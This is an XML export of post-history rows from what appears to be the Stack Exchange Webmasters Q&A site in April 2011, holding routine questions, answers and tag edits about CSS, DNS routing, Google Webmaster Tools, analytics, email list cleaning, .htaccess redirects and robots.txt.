  <row Id="28506" PostHistoryTypeId="2" PostId="12470" RevisionGUID="055d84d1-36db-457e-89c5-d8ce49a88ec2" CreationDate="2011-04-19T09:31:08.867" UserId="6937" Text="Puttin style parameters is never a good idea (except maybe if you are using java and put a style=&quot;display:none&quot;).&#xD;&#xA;&#xD;&#xA;The reason is because css files get cached by the browser allowing the page to load faster.&#xD;&#xA;If you have 10kb of text embedded in the html this will be redownloaded each time, multiply this for several page and for thousand of users and you'll end up with bandwidth problems.&#xD;&#xA;&#xD;&#xA;The way I do what you are talking about is setting a rule like you put in the edit:&#xD;&#xA;&#xD;&#xA;    .xyz {&#xD;&#xA;    width:680px;&#xD;&#xA;    display:table;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then&#xD;&#xA;&#xD;&#xA;    .margin-20{&#xD;&#xA;    margin-top:20px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And use them like this: &#xD;&#xA;&#xD;&#xA;    class=&quot;xyz margin-20&quot;&#xD;&#xA;&#xD;&#xA;It's also to be noted that what you are doing has little to no sense, usually divs have the same properties, a margin-top means you need to put a space on top of a div, this can be done with an div that you use a spacer like this:&#xD;&#xA;&#xD;&#xA;    .spacer {&#xD;&#xA;    height:20px;&#xD;&#xA;    ...&#xD;&#xA;    }" />
  <row Id="28507" PostHistoryTypeId="17" PostId="12472" RevisionGUID="650fb776-5f1a-4bb5-8481-9a13ba33aae1" CreationDate="2011-04-19T11:15:31.503" UserId="-1" Comment="from http://stackoverflow.com/questions/5714754/one-domain-multiple-ips/5714818#5714818" Text="" />
  <row Id="28508" PostHistoryTypeId="2" PostId="12472" RevisionGUID="9a1c60b2-576b-42e9-8cbb-b6710995de1a" CreationDate="2011-04-19T10:14:19.903" UserDisplayName="Mike Pennington" Text="Yoni, large companies do this with DNS load-balancing appliances like Cisco's [Global Site Selector](http://www.cisco.com/en/US/products/hw/contnetw/ps4162/index.html)." />
  <row Id="28509" PostHistoryTypeId="2" PostId="12471" RevisionGUID="c60997db-ac74-4b17-b329-308381aa9b6a" CreationDate="2011-04-19T10:08:52.153" UserDisplayName="Yoni" Text="I have a domain-name and I want to host the website on 2 servers. One server is located in Europe and one in Asia. &#xD;&#xA;My question is how can you route european people to the european server and asian people to the asian server? I want to do this because if you access a european website in Asia it's very slow and visaversa.&#xD;&#xA;I know/think some big websites are doing this too (like Google, Facebook, ...).&#xD;&#xA;&#xD;&#xA;Is it possible to do this? Or is there another way to manage this problem. And I'm not thinking of 2 domainnames." />
  <row Id="28510" PostHistoryTypeId="1" PostId="12471" RevisionGUID="c60997db-ac74-4b17-b329-308381aa9b6a" CreationDate="2011-04-19T10:08:52.153" UserDisplayName="Yoni" Text="One domain, multiple IP's" />
  <row Id="28511" PostHistoryTypeId="3" PostId="12471" RevisionGUID="c60997db-ac74-4b17-b329-308381aa9b6a" CreationDate="2011-04-19T10:08:52.153" UserDisplayName="Yoni" Text="&lt;server&gt;&lt;domains&gt;&lt;dns&gt;" />
  <row Id="28512" PostHistoryTypeId="17" PostId="12471" RevisionGUID="0091d98f-675f-439a-91b4-6e3ab12bacb3" CreationDate="2011-04-19T11:15:31.503" UserId="-1" Comment="from http://stackoverflow.com/questions/5714754/one-domain-multiple-ips" Text="" />
  <row Id="28513" PostHistoryTypeId="2" PostId="12473" RevisionGUID="386142e0-61ce-43f7-8f9b-1a9c10eab58a" CreationDate="2011-04-19T11:51:31.053" UserId="6959" Text="[amitywebsolutions.co.uk][1] has a summary covering &quot;Legal Requirements for Your Website&quot; (UK/EU regulations) &#xD;&#xA;&#xD;&#xA;&gt;  - Company Information &#xD;&#xA;&gt;  - Web Accessibility and the Disability Discrimination Act  &#xD;&#xA;&gt;  - The Data Protection Act  &#xD;&#xA;&gt;  - Consumer Protection (Distance Selling) Regulations &#xD;&#xA;&gt;  - Electronic Commerce Regulations (EC Directive)  &#xD;&#xA;&gt;  - PCI DSS  &#xD;&#xA;&gt;  - The EU Anti Spam Laws&#xD;&#xA;&#xD;&#xA;... and for the UK, the [Information Commissioner's Office][2] have published further guidance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amitywebsolutions.co.uk/blog/legal/259-legal-requirements-for-your-website-privacy-policy-tcs-data-protection-and-more/&#xD;&#xA;  [2]: http://www.ico.gov.uk/for_organisations/data_protection/topic_guides/online.aspx" />
  <row Id="28514" PostHistoryTypeId="25" PostId="12471" RevisionGUID="f7e42775-404b-4ebe-98fb-5c3a40b03a1a" CreationDate="2011-04-19T12:09:17.813" Comment="http://twitter.com/#!/StackWebmasters/status/60314020749643776" />
  <row Id="28515" PostHistoryTypeId="2" PostId="12474" RevisionGUID="b041d594-a0cc-4ead-975c-10fb286ef49c" CreationDate="2011-04-19T12:34:25.673" UserId="6797" Text="A commentsfeed (of a blog) might serve perfectly as a commentssitemap. I'm wondering if it's a good idea to submit this feed to Google's webmaster tools.&#xD;&#xA;&#xD;&#xA;What are the pros &amp; cons?" />
  <row Id="28516" PostHistoryTypeId="1" PostId="12474" RevisionGUID="b041d594-a0cc-4ead-975c-10fb286ef49c" CreationDate="2011-04-19T12:34:25.673" UserId="6797" Text="Do or don't submit the comment-feed of your blog (GWT) ?" />
  <row Id="28517" PostHistoryTypeId="3" PostId="12474" RevisionGUID="b041d594-a0cc-4ead-975c-10fb286ef49c" CreationDate="2011-04-19T12:34:25.673" UserId="6797" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;sitemap&gt;&lt;rss&gt;&lt;serps&gt;" />
  <row Id="28518" PostHistoryTypeId="6" PostId="12474" RevisionGUID="4fbf6f74-4334-4a5c-b5c7-b352d50c5b8a" CreationDate="2011-04-19T12:41:14.873" UserId="6797" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;sitemap&gt;&lt;serps&gt;" />
  <row Id="28519" PostHistoryTypeId="5" PostId="12366" RevisionGUID="8fb0b56c-f1a7-4340-978c-81e8c52ee944" CreationDate="2011-04-19T13:04:06.440" UserId="5013" Comment="grammer, structure, clarification" Text="I am not a webmaster nor a programmer. I am asking this in order to aid in my research for my Master's dissertation where I have to analyze a website's traffic from a file containing activity on the site for the past 10 years.&#xD;&#xA;&#xD;&#xA;What is a great, easy-to-use, and (hopefully) free tool/software that I can install and use on my laptop? I am looking for desktop software, not something to install on a server.&#xD;&#xA;&#xD;&#xA;Does anyone know of anything?" />
  <row Id="28520" PostHistoryTypeId="6" PostId="12366" RevisionGUID="8fb0b56c-f1a7-4340-978c-81e8c52ee944" CreationDate="2011-04-19T13:04:06.440" UserId="5013" Comment="grammer, structure, clarification" Text="&lt;analytics&gt;&lt;website-analytics-tools&gt;&lt;software&gt;" />
  <row Id="28521" PostHistoryTypeId="24" PostId="12366" RevisionGUID="8fb0b56c-f1a7-4340-978c-81e8c52ee944" CreationDate="2011-04-19T13:04:06.440" Comment="Proposed by 5013 approved by 1253 edit id of 147" />
  <row Id="28522" PostHistoryTypeId="5" PostId="9477" RevisionGUID="0534202f-4a1d-4e7d-9bb4-09d5425191df" CreationDate="2011-04-19T13:04:15.583" UserId="5013" Comment="added 154 characters in body" Text="Google is the world's foremost search engine and most visited domain that crawls the web and provides users with a list of links relevant to their search." />
  <row Id="28523" PostHistoryTypeId="24" PostId="9477" RevisionGUID="0534202f-4a1d-4e7d-9bb4-09d5425191df" CreationDate="2011-04-19T13:04:15.583" Comment="Proposed by 5013 approved by 1253 edit id of 142" />
  <row Id="28524" PostHistoryTypeId="5" PostId="9478" RevisionGUID="bd849ce1-94ee-4ca4-a2b8-f41b69e3d11b" CreationDate="2011-04-19T13:04:17.673" UserId="5013" Comment="added 135 characters in body" Text="Google Inc. is an American multinational public corporation invested in Internet search, cloud computing, and advertising technologies." />
  <row Id="28525" PostHistoryTypeId="24" PostId="9478" RevisionGUID="bd849ce1-94ee-4ca4-a2b8-f41b69e3d11b" CreationDate="2011-04-19T13:04:17.673" Comment="Proposed by 5013 approved by 1253 edit id of 143" />
  <row Id="28526" PostHistoryTypeId="5" PostId="12434" RevisionGUID="b790e528-b43b-4bd1-9b49-2e69d208f221" CreationDate="2011-04-19T13:04:19.780" UserId="5013" Comment="added 2856 characters in body" Text="###ECMAScript, JavaScript &amp; JScript&#xD;&#xA;&#xD;&#xA;[ECMAScript](http://en.wikipedia.org/wiki/ECMAScript) was developed as a standardization of Netscape's [JavaScript][1] and Microsoft's [JScript](http://msdn.microsoft.com/en-us/library/yek4tbz0.aspx). The canonical reference is [The ECMA-262 Language Specification](http://www.ecma-international.org/publications/standards/Ecma-262.htm). While JavaScript and JScript aim to be compatible with ECMAScript, they also provide additional features not described in the ECMA specifications. [Other implementations][2] of ECMAScript also exist.&#xD;&#xA;&#xD;&#xA;###The Basics&#xD;&#xA;The Mozilla Developer Center offers [good documentation](https://developer.mozilla.org/en/JavaScript) on JavaScript.&#xD;&#xA;&#xD;&#xA;JavaScript is most often used in the browser - see [The Document Object Model](http://www.w3.org/DOM/DOMTR.html).&#xD;&#xA;&#xD;&#xA;------------------&#xD;&#xA;&#xD;&#xA;### Learning JavaScript&#xD;&#xA;&#xD;&#xA;* [Eloquent JavaScript][5]: A Modern Introduction to Programming&#xD;&#xA;* [The MDC JavaScript Guide][6]: A Comprehensive JavaScript Guide From Mozilla&#xD;&#xA;* [JavaScript Core Skills][7] from [the Web Standards Curriculum][8]&#xD;&#xA;&#xD;&#xA;### Useful links&#xD;&#xA;&#xD;&#xA;* [W3C DOM Core][9], [HTML][10], [events][11] and [CSS][12] compatibility tables from http://www.quirksmode.org&#xD;&#xA;* [JSLint][13] Code Quality Tool by [Douglas Crockford][14] (and [JSHint][15], a community-driven branch of the original)&#xD;&#xA;* Code minifiers/obfuscators: [/packer/][18], [YUI Compressor][19], [Google Closure Compiler][20], [UglifyJS][21]&#xD;&#xA;* Code formatter/deobfuscator: [JSBeautifier][22]&#xD;&#xA;* [JavaScript Garden][23]&#xD;&#xA;* [comp.lang.javascript FAQ][24]: Very extensive guide on JavaScript quirks maintained by Google Groups' [comp.lang.javascript][25]&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/JavaScript&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ECMAScript#Dialects&#xD;&#xA;  [3]: http://jsfiddle.net/&#xD;&#xA;  [4]: http://jsbin.com/&#xD;&#xA;  [5]: http://eloquentjavascript.net/&#xD;&#xA;  [6]: https://developer.mozilla.org/en/JavaScript/Guide&#xD;&#xA;  [7]: http://dev.opera.com/articles/view/programming-the-real-basics/&#xD;&#xA;  [8]: http://dev.opera.com/articles/view/1-introduction-to-the-web-standards-cur/&#xD;&#xA;  [9]: http://www.quirksmode.org/dom/w3c_core.html&#xD;&#xA;  [10]: http://www.quirksmode.org/dom/w3c_html.html&#xD;&#xA;  [11]: http://www.quirksmode.org/dom/events/index.html&#xD;&#xA;  [12]: http://www.quirksmode.org/dom/w3c_css.html&#xD;&#xA;  [13]: http://www.jslint.com&#xD;&#xA;  [14]: http://www.crockford.com/&#xD;&#xA;  [15]: http://jshint.com&#xD;&#xA;  [16]: http://www.jslint.com&#xD;&#xA;  [17]: http://www.crockford.com/&#xD;&#xA;  [18]: http://dean.edwards.name/packer/&#xD;&#xA;  [19]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [20]: http://closure-compiler.appspot.com/home&#xD;&#xA;  [21]: https://github.com/mishoo/UglifyJS/#readme&#xD;&#xA;  [22]: http://jsbeautifier.org/&#xD;&#xA;  [23]: http://bonsaiden.github.com/JavaScript-Garden&#xD;&#xA;  [24]: http://jibbering.com/faq/&#xD;&#xA;  [25]: https://groups.google.com/group/comp.lang.javascript/topics" />
  <row Id="28527" PostHistoryTypeId="24" PostId="12434" RevisionGUID="b790e528-b43b-4bd1-9b49-2e69d208f221" CreationDate="2011-04-19T13:04:19.780" Comment="Proposed by 5013 approved by 1253 edit id of 144" />
  <row Id="28528" PostHistoryTypeId="5" PostId="12435" RevisionGUID="50a3e31c-085e-4afb-b258-cdeb0495bec8" CreationDate="2011-04-19T13:04:21.277" UserId="5013" Comment="added 250 characters in body" Text="JavaScript is a dialect of the standardized ECMAScript programming language, primarily used for scripting web-pages. Use this tag for questions regarding ECMAScript and its dialects/ implementations: JavaScript, JScript, etc., excluding ActionScript." />
  <row Id="28529" PostHistoryTypeId="24" PostId="12435" RevisionGUID="50a3e31c-085e-4afb-b258-cdeb0495bec8" CreationDate="2011-04-19T13:04:21.277" Comment="Proposed by 5013 approved by 1253 edit id of 145" />
  <row Id="28530" PostHistoryTypeId="5" PostId="10202" RevisionGUID="aa17e0f2-6166-40d6-aa73-ae446e507225" CreationDate="2011-04-19T13:04:50.043" UserId="5013" Comment="added google-crawlers tag" Text="I have a site created by Ruby on Rails.  I had successfully verified the site with Google Webmaster Tools some months ago.  However, recently Webmaster Tools has been asking me to verify my site.  I tried again to verify my site using Meta tags and HTML files, but now I cannot get it to successfully verify. The error message I get is:&#xD;&#xA;&#xD;&#xA;&quot;Verification failed.  The connection to your server timed out.&quot;&#xD;&#xA;&#xD;&#xA;Since then, Google hasn't been crawling my site's content - though Google still crawls my PDF contents on my site." />
  <row Id="28531" PostHistoryTypeId="6" PostId="10202" RevisionGUID="aa17e0f2-6166-40d6-aa73-ae446e507225" CreationDate="2011-04-19T13:04:50.043" UserId="5013" Comment="added google-crawlers tag" Text="&lt;google-webmaster-tools&gt;&lt;web&gt;&lt;ruby-on-rails&gt;&lt;google-crawlers&gt;" />
  <row Id="28532" PostHistoryTypeId="24" PostId="10202" RevisionGUID="aa17e0f2-6166-40d6-aa73-ae446e507225" CreationDate="2011-04-19T13:04:50.043" Comment="Proposed by 5013 approved by 1253 edit id of 146" />
  <row Id="28533" PostHistoryTypeId="2" PostId="12475" RevisionGUID="4105a6eb-1f2d-4ff8-a240-eb2db073a046" CreationDate="2011-04-19T14:01:48.203" UserId="6323" Text="The *best* way is to write your own import module which uses `path_set_alias()` to assure that the url of the page on the new site is the same as that on the old site.  You can use Drupal's [batch operations API][1] to do this for you.  This gives you more flexibility than simply using pathauto.&#xD;&#xA;&#xD;&#xA;If you aren't able to do this, try to approximate your old site's urls with pathauto.  Note that when you import, the paths probably won't be set with pathauto - you will need to go to the pathauto interface in order to generate these url aliases (they are called url aliases, since Drupal itself makes urls in a different way - but allows you to add url's to a page by means of these aliases).&#xD;&#xA;&#xD;&#xA;If you're doing this for SEO reasons, you'll also want to find a way to add the canonical metatag for pages which aren't aliased, to prevent yourself from getting a duplicate content penalty.  Implementing this will probably vary, depending on whether you're using Drupal 6 or 7.  It seems that the [nodewords module][2] has this functionality for D6 - just a suggestion, as I haven't used it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mlsamuelson.com/content/getting-started-drupals-batch-api&#xD;&#xA;  [2]: http://drupal.org/project/nodewords" />
  <row Id="28534" PostHistoryTypeId="2" PostId="12476" RevisionGUID="dc76eb48-cb8f-48d7-84af-c5b88a5697b3" CreationDate="2011-04-19T14:13:36.837" UserId="6962" Text="On my website I rune Google Analytics. I also run Zopim. Zopim is providing very difference figures than Google (more hits). Which one should I believe? Why would there be a difference?" />
  <row Id="28535" PostHistoryTypeId="1" PostId="12476" RevisionGUID="dc76eb48-cb8f-48d7-84af-c5b88a5697b3" CreationDate="2011-04-19T14:13:36.837" UserId="6962" Text="Google Anyalics vs Zopim stats are diffenrt" />
  <row Id="28536" PostHistoryTypeId="3" PostId="12476" RevisionGUID="dc76eb48-cb8f-48d7-84af-c5b88a5697b3" CreationDate="2011-04-19T14:13:36.837" UserId="6962" Text="&lt;google-analytics&gt;" />
  <row Id="28537" PostHistoryTypeId="2" PostId="12477" RevisionGUID="3b376246-2ec4-43dc-8fa4-5086c03d508c" CreationDate="2011-04-19T15:05:10.530" UserId="6630" Text="I was getting same error then I saw that the extension of google verification file was wrong.So check for the extension of your verification file in your ftp folder." />
  <row Id="28538" PostHistoryTypeId="25" PostId="12476" RevisionGUID="3c098abe-a95d-43b3-b102-8a72ee9a807a" CreationDate="2011-04-19T15:09:17.903" Comment="http://twitter.com/#!/StackWebmasters/status/60359319044100097" />
  <row Id="28539" PostHistoryTypeId="2" PostId="12478" RevisionGUID="1032dca7-0bd6-46b6-886f-951679ed5a84" CreationDate="2011-04-19T16:13:26.480" UserId="4410" Text="Verify that the file name is right. In particular verify that your host isn't converting it to htm instead of html. Try to load the file yourself to ensure that there is not a redirect. Google doesn't follow redirects when verifying for obvious reasons.&#xD;&#xA;&#xD;&#xA;Next, check the permissions on the file. Files uploaded at the site root like Google requires are sometimes automatically tagged with permissions that prohibit them being read unless you specifically allow them.&#xD;&#xA;&#xD;&#xA;When using the meta tags be sure you don't have a leading or trailing space. This is common if you copy and paste just the verification number rather than the whole tag. Sometimes you end up copying a space in front or back without realizing it.&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="28540" PostHistoryTypeId="2" PostId="12479" RevisionGUID="b97accad-7918-4bc8-8bbe-3b7e80686658" CreationDate="2011-04-19T16:15:06.883" UserId="4142" Text="Every once and a while, one of our departments would like to post a hand-signed document on the web site. Up until now I've scanned them in as a PDF and posted them without much thought, but recently I've become wary of doing so.&#xD;&#xA;&#xD;&#xA;Is there an inherent danger in posting a document with a scanned signature? Am I creating a fantastic opportunity for fraud and forgery, or am I overreacting?" />
  <row Id="28541" PostHistoryTypeId="1" PostId="12479" RevisionGUID="b97accad-7918-4bc8-8bbe-3b7e80686658" CreationDate="2011-04-19T16:15:06.883" UserId="4142" Text="Is posting a document with a hand signature insecure?" />
  <row Id="28542" PostHistoryTypeId="3" PostId="12479" RevisionGUID="b97accad-7918-4bc8-8bbe-3b7e80686658" CreationDate="2011-04-19T16:15:06.883" UserId="4142" Text="&lt;security&gt;&lt;best-practices&gt;&lt;privacy&gt;" />
  <row Id="28543" PostHistoryTypeId="2" PostId="12480" RevisionGUID="8bfbd010-98a2-4ced-8b91-82f7517ee557" CreationDate="2011-04-19T16:17:00.130" UserId="6963" Text="i want to know about how verisign to be linked up in web application using PHP or javASCRIPT. pls help me out. i know that this is used for online transcations. but how it is to be used while scripting and connecting to a web applcation." />
  <row Id="28544" PostHistoryTypeId="1" PostId="12480" RevisionGUID="8bfbd010-98a2-4ced-8b91-82f7517ee557" CreationDate="2011-04-19T16:17:00.130" UserId="6963" Text="i want to know about how verisign to be linked up in web application using PHP or javASCRIPT." />
  <row Id="28545" PostHistoryTypeId="3" PostId="12480" RevisionGUID="8bfbd010-98a2-4ced-8b91-82f7517ee557" CreationDate="2011-04-19T16:17:00.130" UserId="6963" Text="&lt;php&gt;" />
  <row Id="28546" PostHistoryTypeId="2" PostId="12481" RevisionGUID="077ac8e3-889c-42d1-add1-9246d0438c53" CreationDate="2011-04-19T16:18:12.717" UserId="4410" Text="Associate Google Analytics with your AdSense account. Then, in Analytics under &quot;Content&quot; is an AdSense report link. Click Show Full Report and you'll get a list of your pages that had adsense clicks and how many clicks they got. &#xD;&#xA;&#xD;&#xA;Analytics is always more reliable over larger data sets, but you'll still get a pretty solid idea of which pages are generating the clicks." />
  <row Id="28547" PostHistoryTypeId="2" PostId="12482" RevisionGUID="8ab83a10-8b61-44b6-a0d9-39552d47c958" CreationDate="2011-04-19T16:24:00.367" UserId="4410" Text="Look for the Competitive Ad Filter in your Google AdSense manager. (https://www.google.com/adsense/filter-online -- you'll have to be logged in to get there)&#xD;&#xA;&#xD;&#xA;Add plus500.com to the list of blocked domains. It doesn't really have to be a competitor. I have a huge list, from annoying to non-matching, to [block low paying ads][1].&#xD;&#xA;&#xD;&#xA;Note that this won't work if those ads are being served through another party like an ad network. In that case, you would have to block the ad network too.&#xD;&#xA;&#xD;&#xA;Right click on the ad (don't click on it for real) and choose Copy URL. Then go paste that URL in a text editor. Somewhere in the middle you will find a domain name. Block that domain name. With Firebug, put your mouse over the ad and right click to choose Inspect Element and then do the same as above.&#xD;&#xA;&#xD;&#xA;You can't block Flash ads this way since the source URL is not where the ad actually comes from. For that you'll have to peek into the Flash code. Here is a tip on finding out [where flash AdSense ads come from][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.makemoneywritingonline.com/earn-money-online/google-analytics-to-protect-adsense-earnings/&#xD;&#xA;  [2]: http://www.makemoneywritingonline.com/site-news/adsense-competitive-filter-not-working-filtering-atdmt-google/" />
  <row Id="28548" PostHistoryTypeId="10" PostId="12480" RevisionGUID="94768db1-fcfa-4aec-8305-441cd4521190" CreationDate="2011-04-19T16:27:26.703" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="28549" PostHistoryTypeId="2" PostId="12483" RevisionGUID="ca1d75d4-56e1-49d4-8ccc-1fa3e479eeb3" CreationDate="2011-04-19T16:36:13.610" UserId="6964" Text="A client has provided us with an excel spreadsheet of around 10,000 email addresses, names and addresses. They were taken from a CRM used previously. &#xD;&#xA;&#xD;&#xA;I've been asked to &quot;clean&quot; up this database - such as check for invalid addresses - (email format, existing mailboxes etc).&#xD;&#xA;&#xD;&#xA;I've done a bit of Googling and came up with a few &quot;Email List Cleaning Services&quot;. Here is [one such company][1].&#xD;&#xA;&#xD;&#xA;Now my question is - does anyone have any experience with this kind of service, and is it a legitimate service?&#xD;&#xA;&#xD;&#xA;Alternatively, what are my options for &quot;cleaning&quot; this list?&#xD;&#xA;&#xD;&#xA;I ask as MailChimp, our preferred email marketing tool, will terminate account access if a certain percentage of emails bounce, (and I imagine similar e-shot services operate on the same basis), to comply with anti-spam regulations etc.&#xD;&#xA;&#xD;&#xA;This is a legitimate cause, although it may sound quite the contrary.&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bocanetworks.com/main/em/List_Cleaning_Email_List_Validation.aspx" />
  <row Id="28550" PostHistoryTypeId="1" PostId="12483" RevisionGUID="ca1d75d4-56e1-49d4-8ccc-1fa3e479eeb3" CreationDate="2011-04-19T16:36:13.610" UserId="6964" Text="Is Email list &quot;cleaning&quot; a legitimate practice?" />
  <row Id="28551" PostHistoryTypeId="3" PostId="12483" RevisionGUID="ca1d75d4-56e1-49d4-8ccc-1fa3e479eeb3" CreationDate="2011-04-19T16:36:13.610" UserId="6964" Text="&lt;email&gt;&lt;web&gt;&lt;spam&gt;" />
  <row Id="28552" PostHistoryTypeId="2" PostId="12484" RevisionGUID="7610d63a-24fe-4734-971a-48d7c00bed4f" CreationDate="2011-04-19T16:49:44.430" UserId="4786" Text="The best you can hope to do without actually sending out emails to each address, is to check the email syntax.&#xD;&#xA;&#xD;&#xA;At the most basic level, check for an `@` sign and a `.` character, if you wish to get more advanced, there are several regular expressions which will help validate the syntax of an email address.&#xD;&#xA;&#xD;&#xA;The important point to make is that you can ONLY check the syntax, that doesn't mean its a real email address with a real person on the other end." />
  <row Id="28553" PostHistoryTypeId="2" PostId="12485" RevisionGUID="88d1756f-aefd-426f-927a-d631c04b858e" CreationDate="2011-04-19T16:57:31.700" UserId="6965" Text="Steps to fix 404 not found webmaster tools errors (I assume you already know how to access .htaccess file of your wordpress blog):&#xD;&#xA;&#xD;&#xA;1. First and very crucial, backup your .htaccess file, by downloading it and save it in your hard drive.&#xD;&#xA;&#xD;&#xA;2. Once you done the step (1) above, go to your Google webmaster tools, copy the URL which causes 404 not found webmaster tools errors one by one, if you have many.&#xD;&#xA;&#xD;&#xA;Copy it in notepad, that’s the easiest method.&#xD;&#xA;&#xD;&#xA;3. Go back to your .htaccess file, add this code:&#xD;&#xA;&#xD;&#xA;redirect 301 /2010/02/13/change-homelink-to-your-own-created-page http://www.timesnewstoday.com/change-homelink-to-your-own-created-page&#xD;&#xA;&#xD;&#xA;The code above should be in one line. That’s one of my example post that i did redirect.&#xD;&#xA;&#xD;&#xA;Replace my URL address with yours.&#xD;&#xA;&#xD;&#xA;What that code will do, is redirected the 404 not found webmaster tools errors URL old page to the new one." />
  <row Id="28554" PostHistoryTypeId="2" PostId="12486" RevisionGUID="b7b07c76-8d5d-4e93-b180-fe32cbebf8bc" CreationDate="2011-04-19T17:36:47.003" UserId="6966" Text="We currently host multiple sites on the same domain that all live in the same physical directory on the server. Each is database driven and lives at a unique subdomain. For example, site1.example.com, site2.example.com, etc. However, because all of these sites live in the same directory, they share a robots.txt file.&#xD;&#xA;&#xD;&#xA;I would like to set up a test/demo site on this same codebase(i.e. demo.example.com), but I do not want it to be indexed by search engines. Is there any way that I can configure robots.txt to disallow an entire subdomain while not affecting other subdomains that live in the same physical location?" />
  <row Id="28555" PostHistoryTypeId="1" PostId="12486" RevisionGUID="b7b07c76-8d5d-4e93-b180-fe32cbebf8bc" CreationDate="2011-04-19T17:36:47.003" UserId="6966" Text="Preventing Spiders on One Subdomain?" />
  <row Id="28556" PostHistoryTypeId="3" PostId="12486" RevisionGUID="b7b07c76-8d5d-4e93-b180-fe32cbebf8bc" CreationDate="2011-04-19T17:36:47.003" UserId="6966" Text="&lt;subdomain&gt;&lt;google-search&gt;&lt;robots.txt&gt;" />
  <row Id="28557" PostHistoryTypeId="2" PostId="12487" RevisionGUID="0d63ed5f-75d4-4007-bc3d-94b789136452" CreationDate="2011-04-19T17:48:05.060" UserId="6634" Text="How many pages are you talking about? Closer to ten or to ten thousand?&#xD;&#xA;&#xD;&#xA;I suggest you focus mainly on Google's intent. Google wants its users to find high quality content in their search results. They've observed that auto-generated content correlates to low quality content, so their ranking algorithm has evolved to make it harder for auto-generated content to rank well.&#xD;&#xA;&#xD;&#xA;But if your auto-generated content is high quality, and unique, and people like it and engage with it, you're not going to have a problem ranking for it." />
  <row Id="28558" PostHistoryTypeId="2" PostId="12488" RevisionGUID="fcc91a66-724f-43cc-9a0e-7d85f77fdefe" CreationDate="2011-04-19T17:55:00.077" UserId="6634" Text="This used to be much more important than it is now. As long as your individual files aren't huge, everything's going to get indexed. &#xD;&#xA;&#xD;&#xA;Make sure you look at how your pages look to Google. Search for cache:yourdomain.com and then click to see a text-only version in the upper right.&#xD;&#xA;&#xD;&#xA;If it looks ridiculous or very wrong, fix it until it looks right." />
  <row Id="28559" PostHistoryTypeId="25" PostId="12479" RevisionGUID="832171a0-9cec-425f-99b2-e150c2ad49dd" CreationDate="2011-04-19T18:09:17.960" Comment="http://twitter.com/#!/StackWebmasters/status/60404619154702338" />
  <row Id="28560" PostHistoryTypeId="2" PostId="12489" RevisionGUID="25d2ea5c-52b7-4035-9a9b-51d58f0c786f" CreationDate="2011-04-19T18:11:11.297" UserId="6967" Text="What if you make the link in the top go to the english version instead of translating the content?&#xD;&#xA;&#xD;&#xA;So, instead of setting a variable in the session you make a redirect. At the end, you will have all the brazilian content in your brazilian site, and all your english content in your .com site" />
  <row Id="28561" PostHistoryTypeId="2" PostId="12490" RevisionGUID="d8ff85d1-e876-4da1-93ab-7a2da826d901" CreationDate="2011-04-19T18:11:41.233" UserId="4142" Text="On my webmail setup ([Squirrelmail][1] with [Dovecot][2]), the user accounts are actually managed on the Dovecot side of the street.&#xD;&#xA;&#xD;&#xA;While it's not impossible to have a webmail client that would have access to these user accounts, you would have to find a client with support for your type of email server. Apparently SquirrelMail 1.5 and above have this ability, but only through an extra daemon.&#xD;&#xA;&#xD;&#xA;This is the closest I've come to finding a solution to the issue you mentioned, and I'll update my answer if I get any closer.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squirrelmail.org/&#xD;&#xA;  [2]: http://www.dovecot.org/" />
  <row Id="28562" PostHistoryTypeId="2" PostId="12491" RevisionGUID="49b86ad8-bc0c-4dff-9d5f-3e81f8ac4d00" CreationDate="2011-04-19T18:37:39.857" UserId="4142" Text="I'd say your best bet would be to get a 3rd party monitoring service - similar to [Pingdom][1] - to hold them to it. Ideally, having two independently-maintained uptime services to verify any downtime would be pretty difficult for someone to dispute.&#xD;&#xA;&#xD;&#xA;Granted, even if you can prove that their 99.99% uptime promise has been broken, that doesn't mean you can get anything out of the company itself. I'd agree with @Metalshark's comment: start out with a reliable host, and that should hopefully make this a moot point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pingdom.com/" />
  <row Id="28563" PostHistoryTypeId="2" PostId="12492" RevisionGUID="aceb21d3-183f-41da-8ac9-c18dcda978ad" CreationDate="2011-04-19T18:49:02.060" UserId="4142" Text="One of the ways you can prevent your site &amp; the static map from appearing too out of proportion is to use the [viewport][1] meta tag:&#xD;&#xA;&#xD;&#xA;`&lt;meta name=&quot;viewport&quot; content=&quot;width=780px&quot;/&gt;`&#xD;&#xA;&#xD;&#xA;This would tell a mobile browser to try to display the page with a viewport of 780px, or scale it if the device resolution is smaller than that.&#xD;&#xA;&#xD;&#xA;There are several other options available in the viewport meta tag that may help you make sure your site doesn't get too squashed when viewed on a mobile browser.&#xD;&#xA;&#xD;&#xA;  [1]: http://davidbcalhoun.com/2010/viewport-metatag" />
  <row Id="28564" PostHistoryTypeId="17" PostId="12494" RevisionGUID="5b4d7b56-7cc5-4f0d-9037-f054bfec7dfe" CreationDate="2011-04-19T18:55:10.457" UserId="-1" Comment="from http://stackoverflow.com/questions/5720565/how-to-keep-an-email-out-of-a-recipients-spam-folder/5720647#5720647" Text="" />
